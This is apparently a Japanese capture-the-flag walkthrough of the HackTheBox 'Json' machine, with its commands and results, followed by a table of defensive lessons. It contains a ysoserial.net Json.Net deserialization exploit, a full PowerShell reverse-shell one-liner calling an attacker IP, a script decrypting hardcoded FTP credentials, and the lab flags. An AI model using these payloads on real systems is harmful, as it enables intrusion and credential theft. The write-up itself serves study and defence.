HackTheBox: Json — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/5985/47001
→
21/80/135/139/445/5985/47001
AngularJS SPA + /api/token
admin/admin で OAuth2 Cookie 発行
→
admin/admin で OAuth2 Cookie 発行
Bearer ヘッダ Fuzzing
“Cannot deserialize Json.Net Object”
→
“Cannot deserialize Json.Net Object”
ysoserial.net RCE
WindowsIdentity + Json.Net (wine)
→
WindowsIdentity + Json.Net (wine)
userpool シェル取得
user.txt ✓
→
user.txt ✓
Sync2Ftp 設定ファイル窃取
TripleDES(ECB)+MD5 で復号
→
TripleDES(ECB)+MD5 で復号
superadmin:funnyhtb
ローカル FileZilla FTP
→
ローカル FileZilla FTP
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン → バージョン・スクリプトスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.191 nmap -sV -sC -p 21,80,135,139,445,5985,47001,49152-49158 10.129.227.191
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd 0.9.60 beta 80/tcp open http Microsoft IIS httpd 8.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 47001/tcp open winrm Microsoft HTTPAPI httpd 2.0 49152-49158/tcp open unknown Microsoft Windows RPC Service Info: OS: Windows Server 2012 R2 Datacenter (Build 9600)
🚨
重要発見: ポート21にFileZilla ftpd(公開FTPサーバーではなく、後に判明する
管理インターフェースと同一プロセス)、ポート80にASP.NET/IISのWeb APIが稼働。
FileZilla + カスタムWeb APIの組み合わせは「Json」HTBマシンの既知の特徴プロファイルと一致。
HTTPヘッダ確認
BASH
curl -sI --max-time 10 http://10.129.227.191
RESULT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
PHASE 2
Web調査 — AngularJS SPA / 認証API / デシリアライゼーション痕跡の発見
ログインページとAPI構造の把握
BASH
curl -s --max-time 10 http://10.129.227.191/login.html
RESULT
<!DOCTYPE html> <html lang="en" ng-app="json"> <head> ...(AngularJS製 "SB Admin 2" ベースのSPA、ng-app="json")
ℹ️
ブラウザでトップページに直接アクセスすると未認証でもダッシュボードが一瞬表示された後
login.html
にリダイレクトされる(クライアントサイドのみの認可チェックで、サーバー側のAPIは別途保護されている)。
/js/app.min.js は難読化されているが、JS Nice等で復元すると
POST /api/token でログインし、レスポンスの OAuth2 Cookie(base64 JSON)を
GET /api/Account/ への 独自ヘッダ名 “Bearer”(標準の
Authorization: Bearerではない点に注意)として送信するロジックが読み取れる。
admin/admin でログイン → OAuth2 Cookie 取得
BASH
curl -s --max-time 10 -X POST http://10.129.227.191/api/token \
-H "Content-Type: application/json" \
-d '{"UserName":"admin","Password":"admin"}'
RESULT
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
# base64デコード結果:
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}
ℹ️
Password フィールドは admin のMD5ハッシュ(21232f297a57a5a743894a0e4a801fc3)。
認証には既定クレデンシャル admin/admin がそのまま有効だった。
Bearer ヘッダ Fuzzing — デシリアライゼーションの手掛かり発見
BASH
# Bearer ヘッダを不正な base64 に改変して送信 curl -s --max-time 10 -H "Bearer: QUFBQQ==" http://10.129.227.191/api/Account/
RESULT
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}
🚨
決定的な手掛かり: サーバーは
Bearer ヘッダの中身を Json.Net 形式の
オブジェクトとして $type 付きでデシリアライズしている。TypeNameHandling が
None 以外に設定された ASP.NET Web API は、任意の .NET 型をデシリアライズ対象に
指定できる古典的な .NET デシリアライゼーション RCE の脆弱性パターンに合致する。
PHASE 3
ysoserial.net によるデシリアライゼーション RCE の確立
ガジェットの選定 — WindowsIdentity + Json.Net
NOTE
ysoserial.net の "Json.Net" フォーマッタに対応するガジェットのうち、WindowsIdentity は System.Security.Claims.ClaimsIdentity の "actor" フィールドを経由して、内部的に **BinaryFormatter** による無条件デシリアライズを引き起こす「ブリッジ」ガジェットである。 これにより JSON 構造の制約を受けずに任意の BinaryFormatter 互換ガジェット (TypeConfuseDelegate 等)を埋め込み、RCE を実現できる。
BASH
# wine 上に ysoserial.net (ysoserial.exe) を配置して実行する # ※ Mono では PresentationCore (WPF) 依存のため FileNotFoundException で失敗するため wine 必須 wine ysoserial.exe -g WindowsIdentity -f Json.Net -c "whoami" -o base64
RESULT
ew0KICAgICAgICAgICAgICAgICAgICAnJHR5cGUnOiAnU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHks...(snip)...
落とし穴: wine 既定ブリッジが対象サーバーに存在しないアセンブリを参照
BASH
# 上記ペイロードをそのまま Bearer ヘッダへ送信 curl -s --max-time 15 -H "Bearer:" http://10.129.227.191/api/Account/
RESULT
{"Message":"An error has occurred.",
"ExceptionMessage":"Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, ...'",
"ExceptionType":"System.Runtime.Serialization.SerializationException",
"StackTrace":" at System.Security.Claims.ClaimsIdentity.Deserialize(...)
at System.Security.Principal.WindowsIdentity..ctor(SerializationInfo info)
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.CreateISerializable(...)
at DemoAppExplanaiton.Controllers.AccountController.GetInfo() ..."}
🚨
原因: ysoserial.net の
WindowsIdentity ガジェットは既定で、内部の
BinaryFormatter ブリッジ用ペイロードとして 最短ペイロードの
TextFormattingRunProperties を自動選択する。しかしこのガジェットは
Microsoft.PowerShell.Editor.dll(PowerShell ISE機能)内の型を参照するため、
PowerShell ISE が入っていない標準的な Windows Server では 対象サーバー側の
デシリアライズが失敗する(PDFオリジナル手順では genuine Windows 上で ysoserial.exe を
直接実行しているため発生しない、wine 環境特有というより「ターゲットの構成」起因の罠)。
解決策: –bgc=TypeConfuseDelegate でブリッジガジェットを明示指定
NOTE
ysoserial.net には --bgc (--bridgedgadgetchains) オプションがあり、ブリッジガジェットの 内部実装を明示的に差し替えられる。TypeConfuseDelegate は mscorlib だけで完結し、 PowerShell.Editor のような追加アセンブリに依存しないため、標準的な Windows Server でも 確実にデシリアライズが成功する。
BASH
wine ysoserial.exe -g WindowsIdentity -f Json.Net \ --bgc TypeConfuseDelegate \ -c "powershell -nop -w hidden -e <base64 PSリバースシェルワンライナー>" \ -o base64
✅
この修正によりペイロード長は約4,300文字台から約6,700文字台に増加するが、
ターゲット側のデシリアライズが正常に完走し、コマンドが実際に実行されるようになった。
PHASE 4
エクスプロイト実行 & user.txt 取得
PowerShellリバースシェル ワンライナーの準備
PYTHON (ワンライナー雛形)
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.200',14870);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};
$client.Close()
ℹ️
レスポンスボディが返らないブラインドRCEのため、結果確認はこのリバースシェル接続そのもの
を使う(out-of-band)。
-nop -w hidden -e <base64(UTF-16LE)> でエンコードして渡す。
リスナー起動 & エクスプロイト送信
BASH
# ターミナル1: リスナー nc -lnvp 14870 # ターミナル2: ysoserial.netでペイロード生成しBearerヘッダへ送信 PAYLOAD=$(wine ysoserial.exe -g WindowsIdentity -f Json.Net \ --bgc TypeConfuseDelegate -c "$CMD" -o base64 | tr -d '\n\r') curl -s --max-time 15 -H "Bearer: $PAYLOAD" http://10.129.227.191/api/Account/
RESULT (curl レスポンス — RCE自体は既に発火済み)
{"Message":"An error has occurred.",
"ExceptionMessage":"Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Security.Claims.ClaimsIdentity'.", ...}
⚠️
このキャスト例外は 無害:TypeConfuseDelegate は
IComparer.Compare
呼び出し中(SortedSet のデシリアライズ過程)にコマンドを実行する「副作用型」ガジェットのため、
例外が発生する時点で コマンドは既に実行済み。レスポンスの型エラーは無視してよい。
シェル接続確認 & user.txt 取得
RESULT (nc リスナー側)
listening on [any] 14870 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.227.191] 49317 PS> whoami json\userpool PS C:\windows\system32\inetsrv> type C:\Users\userpool\Desktop\user.txt f1245276cb5a687be36bf6688d399512
user.txt — json\userpool
f1245276cb5a687be36bf6688d399512
PHASE 5
権限昇格 — Sync2Ftp 設定ファイル復号 → FTP root.txt
カスタムアプリ Sync2Ftp の発見
BASH
PS> type "C:\Program Files\Sync2Ftp\SyncLocation.exe.config"
RESULT
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
</configuration>
ℹ️
C:\Program Files\Sync2Ftp\SyncLocation.exe は、ローカルFTP(port 21, FileZilla)へ
ファイルを自動同期する独自アプリ。user/password は base64+暗号化されているが、
復号鍵となる SecurityKey は設定ファイル自身に平文で埋め込まれている。
TripleDES(ECB) + MD5 による復号
NOTE
SyncLocation.exe を dnSpy 等で逆アセンブルすると、復号ロジック (Crypto.Decrypt) は: 1. SecurityKey文字列のMD5ハッシュ(16byte)を鍵として使用 2. TripleDES、ECBモード、PKCS7パディングで復号 という単純な実装であることが分かる(公開されている 0xdf 氏のウォークスルー等でも 同一ロジックが報告されている)。
PYTHON
import base64, hashlib
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
user_enc = "4as8gqENn26uTs9srvQLyg=="
pass_enc = "oQ5iORgUrswNRsJKH9VaCw=="
seckey = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"
def decrypt(b64_cipher: str) -> str:
key = hashlib.md5(seckey.encode("utf-8")).digest() # 16byte, 2-key TripleDES
ct = base64.b64decode(b64_cipher)
cipher = DES3.new(key, DES3.MODE_ECB)
return unpad(cipher.decrypt(ct), 8).decode("utf-8")
print("Username:", decrypt(user_enc))
print("Password:", decrypt(pass_enc))
RESULT
Username: superadmin Password: funnyhtb
✅
FTP資格情報の復号に成功:
superadmin:funnyhtb。
これはWindowsのOS認証(WinRM等)には使えないが、ローカルFileZilla FTP(port 21)への
ログインには有効。
FTPログイン → root.txt 取得
BASH
ftp 10.129.227.191 Name: superadmin Password: funnyhtb ftp> cd desktop ftp> dir ftp> get root.txt
RESULT
220-FileZilla Server 0.9.60 beta
230 User logged in.
250 CWD successful. "/desktop" is current directory.
-r--r--r-- 1 ftp ftp 32 root.txt
226 Successfully transferred "/desktop/root.txt"
$ cat root.txt
1ae4b50bf9ec32d7d1195c5ba5ee38d2
ℹ️
成立理由: FileZilla FTPサーバーの
superadmin ユーザーのホームディレクトリが
C:\Users\superadmin(=IsHome=1でFTPルートに割当)に設定されており、
Desktop サブフォルダに root.txt が置かれているため、
OS認証を一切経由せずFTPだけで直接読み取れる。
root.txt — superadmin (via local FTP)
1ae4b50bf9ec32d7d1195c5ba5ee38d2
Beyond Root — 他の権限昇格経路(参考)
NOTE
公開ウォークスルーでは、この経路以外に次の2系統も root.txt へ到達可能と報告されている
(いずれも今回は使用していない代替手段):
1. chisel でローカルの FileZilla 管理ポート(14147)へリバーストンネルを張り、
FileZilla Server の管理プロトコルで superadmin のパスワードを直接変更してログイン。
2. userpool は SeImpersonatePrivilege を保持しており、対象がServer2019でなければ
JuicyPotato(本シナリオのような2012 R2ならGodPotato等の後継ツールでも代替可)で
NT AUTHORITY\SYSTEM への昇格が可能。
本レポートの経路(Sync2Ftp設定ファイル復号)が最も単純かつ再現性が高いため、
自動化(mixin化)にはこちらを採用した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — json\userpool
f1245276cb5a687be36bf6688d399512
root.txt — superadmin (via local FTP)
1ae4b50bf9ec32d7d1195c5ba5ee38d2
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 既定クレデンシャル | /api/token (admin/admin) | アプリケーションへの認証 | Medium | admin/admin でログインしOAuth2 Cookie/API構造を把握 |
| .NET デシリアライゼーション RCE | GET /api/Account/ の独自 “Bearer” ヘッダ (Json.Net TypeNameHandling) | リモートコード実行 (IIS AppPool権限) | Critical | ysoserial.net (WindowsIdentity + Json.Net + –bgc=TypeConfuseDelegate) でPowerShellリバースシェル |
| 暗号鍵の同梱(Hardcoded Key) | Sync2Ftp\SyncLocation.exe.config | ローカルFTP認証情報の漏洩 | High | 設定ファイル内のSecurityKeyでTripleDES(ECB)暗号化されたFTP資格情報を復号 |
| FTPホームディレクトリの不適切な設計 | FileZilla Server (superadmin) | root.txt への直接アクセス | Medium | superadminのFTPルートがC:\Users\superadminに設定されDesktop\root.txtに到達可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 21(FileZilla)/80(IIS)/135/139/445/5985/47001 |
| 2 | Web調査 | AngularJS SPA解析 + API Fuzzing | admin/admin、独自”Bearer”ヘッダ、デシリアライズエラー発見 |
| 3 | RCE確立 | ysoserial.net (WindowsIdentity/Json.Net, wine, –bgc修正) | 任意コマンド実行チャネル確立 |
| 4 | エクスプロイト | PowerShellリバースシェル | user.txt 取得(json\userpool シェル) |
| 5 | 権限昇格 | Sync2Ftp設定ファイル復号(TripleDES/MD5) + FTP | root.txt 取得(superadmin経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 既定クレデンシャル(admin/admin)がそのまま有効 | 初回デプロイ時に強制パスワード変更を要求する仕組みを導入する。 |
| ASP.NET Web APIが外部入力をJson.Net TypeNameHandling有効のまま任意型デシリアライズ | TypeNameHandling.Noneを既定にし、どうしても多態性が必要な場合は
SerializationBinderでホワイトリスト制御する。ysoserial.net等で定期的に自己診断する。 |
| 暗号鍵(SecurityKey)が復号対象データと同じ設定ファイルに平文で同梱 | 鍵管理をDPAPI/Azure Key Vault等の専用ストアに分離し、アプリ設定ファイルに含めない。 |
| FTPユーザーのホームディレクトリがデスクトップ(フラグ格納場所)と重複 | サービスアカウント用ディレクトリと個人デスクトップを分離し、最小権限のFTPルートを設定する。 |
| userpoolアカウントがSeImpersonatePrivilegeを保持(JuicyPotato系の代替経路) | IIS AppPoolには必要最小限の特権のみを付与し、Potato系ツールによるSYSTEM昇格を Windows Defender Credential Guard等で緩和する。 |

